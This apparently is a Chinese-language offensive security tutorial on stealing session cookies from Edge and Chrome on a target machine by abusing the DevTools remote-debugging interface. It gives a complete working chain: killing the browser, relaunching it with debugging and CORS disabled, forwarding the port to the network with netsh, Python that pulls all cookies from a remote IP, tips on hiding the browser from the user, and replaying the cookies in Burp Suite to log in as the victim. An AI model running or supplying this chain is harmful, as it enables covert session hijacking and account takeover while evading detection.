前言

本文將介紹不依靠DPAPI的方式獲取Chromium內核瀏覽器Cookie

遠程調試

首先我們以edge為例。edge瀏覽器是基于Chromium的,而Chromium是可以開啟遠程調試的,開啟遠程調試的官方文檔如下:

https://blog.chromium.org/2011/05/remote-debugging-with-chrome-developer.html
chrome.exe --remote-debugging-port=9222 --user-data-dir=remote-profile

那么開啟遠程調試以后可以做什么呢,繼續看官方文檔:

https://chromedevtools.github.io/devtools-protocol/tot/Storage/

上述官方文檔是Chrome開發者工具協議文檔,里面提到如果需要實施調試、分析Chrome需要開啟其遠程調試:

并且告知開啟后還提供了json等接口和各種API的使用:


既然edge是基于Chromium的,那么edge應該也是可以開啟遠程調試的。嘗試使用Chrome開啟遠程調試的命令開啟edge的遠程調試:

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9222

經測試是可以的,但是前提是必須沒有msedge進程在啟動著,否則上述命令雖然會啟動edge進程,但是并不會開啟遠程調試端口。停止命令:

Get-Process msedge | Stop-Process


獲取Cookie

首先看Chrome開發者工具協議能否獲取瀏覽器密碼啥的,文檔沒有:

也是,大家平常F12調出開發者工具,也是沒有獲取瀏覽器密碼方式的。

繼續搜下Cookie,可以看到有個Network.getAllCookies,但是文檔中提到已經棄用了,改用了Storage.getCookies:

那嘗試使用Storage.getCookies是否可以獲取Cookie呢。開啟遠程調試后,獲取websocket地址:

然后嘗試使用python的websocket-client模塊發送接收數據時,發現提示403:

根據提示看起來是CORS的問題,且給出了解決方案:

--remote-allow-origins=*

添加以后發送如下數據包就可以成功獲取Cookie:

{"id": 1, "method": "Storage.getCookies"}

為了方便遠程訪問其websocket接口,可以把遠程調試端口映射出來:

netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=48333 connectaddress=127.0.0.1 connectport=9222

這樣就可以遠程訪問目標的遠程調試端口:

編寫代碼

Github有個自動開啟遠程調試端口和獲取Cookie的倉庫:

https://github.com/defaultnamehere/cookie_crimes/blob/master/cookie_crimes.py

其中代碼有幾個問題,其一沒解決CORS的問題,其二使用了可能棄用的Network.getAllCookies,其三開啟遠程調試端口可以不用依賴python,可以使用cmd命令,最終修改的代碼如下:

import json
import requests
import websocket
GET_ALL_COOKIES_REQUEST = json.dumps({"id": 1, "method": "Storage.getCookies"})
def hit_that_secret_json_path_like_its_1997():
    response = requests.get("http://10.211.55.8:48333/json")
    websocket_url = response.json()[0].get("webSocketDebuggerUrl")
    return websocket_url
def gimme_those_cookies(ws_url):
    ws = websocket.create_connection(ws_url)
    ws.send(GET_ALL_COOKIES_REQUEST)
    result = ws.recv()
    ws.close()
    response = json.loads(result)
    cookies = response["result"]["cookies"]
    return cookies
ws_url = hit_that_secret_json_path_like_its_1997()
print(ws_url)
cookies = gimme_those_cookies(ws_url)
print(cookies)

這樣就可以達到在目標機器上開啟遠程調試端口并獲取Cookie。為了防止開啟的瀏覽器被用戶發現,可以使用無頭參數-headless,但是存在一個缺點,后面再講。且為了防止/json接口返回空的情況,建議讓瀏覽器啟動時打開一個網站,因此最終完整命令如下:

# 關閉edge
Get-Process msedge | Stop-Process
# 啟動遠程調試
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" https://www.baidu.com --remote-debugging-port=9222  --remote-allow-origins=* -headless
# 把遠程調試端口映射出來
netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=48333 connectaddress=127.0.0.1 connectport=9222
# 訪問json接口獲取websocket地址并獲取Cookie
# 關閉端口映射
netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=48333

實操

使用上述命令啟動edge:

獲取Cookie,發現只能獲取到www.baidu.com的Cookie:

這就是上面提到的,使用無頭參數-headless存在的一個缺點,只能獲取到打開的網站的Cookie。因此如果想要獲取指定目標網站的Cookie,要么重復上面的動作,要么取消無頭參數-headless。筆者建議取消-headless參數,打開的瀏覽器用戶也能正常使用,因此建議使用的命令如下:

# 關閉edge
Get-Process msedge | Stop-Process
# 啟動遠程調試
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" https://www.baidu.com --remote-debugging-port=9222  --remote-allow-origins=*
# 把遠程調試端口映射出來
netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=48333 connectaddress=127.0.0.1 connectport=9222
# 訪問json接口獲取websocket地址并獲取Cookie
# 關閉端口映射
netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=48333


獲取到上述數據以后,如何使用呢,筆者提供如下代碼,來完成滿足Cookie格式要求的拼接:

def to_cookie_dict(data):
    if 'www.chinabaiker.com' in data['domain']:
        cookie_dict = {data['name']: data['value'], 'Domain': data['domain'], 'Path': data['path'], 'Expires': data['expires']}
        print(cookie_dict)
        return cookie_dict
data_list = [{}]
cookie_dict_list = [to_cookie_dict(data) for data in data_list]
# 遍歷多個cookie字典,將每個字典中的key和value格式化為key=value的字符串
cookie_str_list = []
for cookie_dict in cookie_dict_list:
    try:
        for k, v in cookie_dict.items():
            cookie_str_list.append('{}={}'.format(k, v))
    except Exception as e:
        print(e)
        pass
# 使用;將多個key=value字符串連接在一起
cookie_str = ';'.join(cookie_str_list)
print(cookie_str)

因為獲取到的Cookie比較多,在代碼最開始做了個簡單的過濾:

if 'www.chinabaiker.com' in data['domain']:

最終實現的效果如下:首先網站是非登錄狀態:

執行上述代碼,獲取Cookie:

然后放到burpsuite自動替換,筆者的替換規則如下:

最終成功完成Cookie的替換登錄目標系統:


Chrome瀏覽器同理,就不花篇幅講了:

"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" https://www.baidu.com --remote-debugging-port=9222  --remote-allow-origins=*

總結

本文介紹了不依靠DPAPI的方式獲取Chromium內核瀏覽器Cookie,可以盡可能的減少被攔截的情況下去獲取瀏覽器Cookie。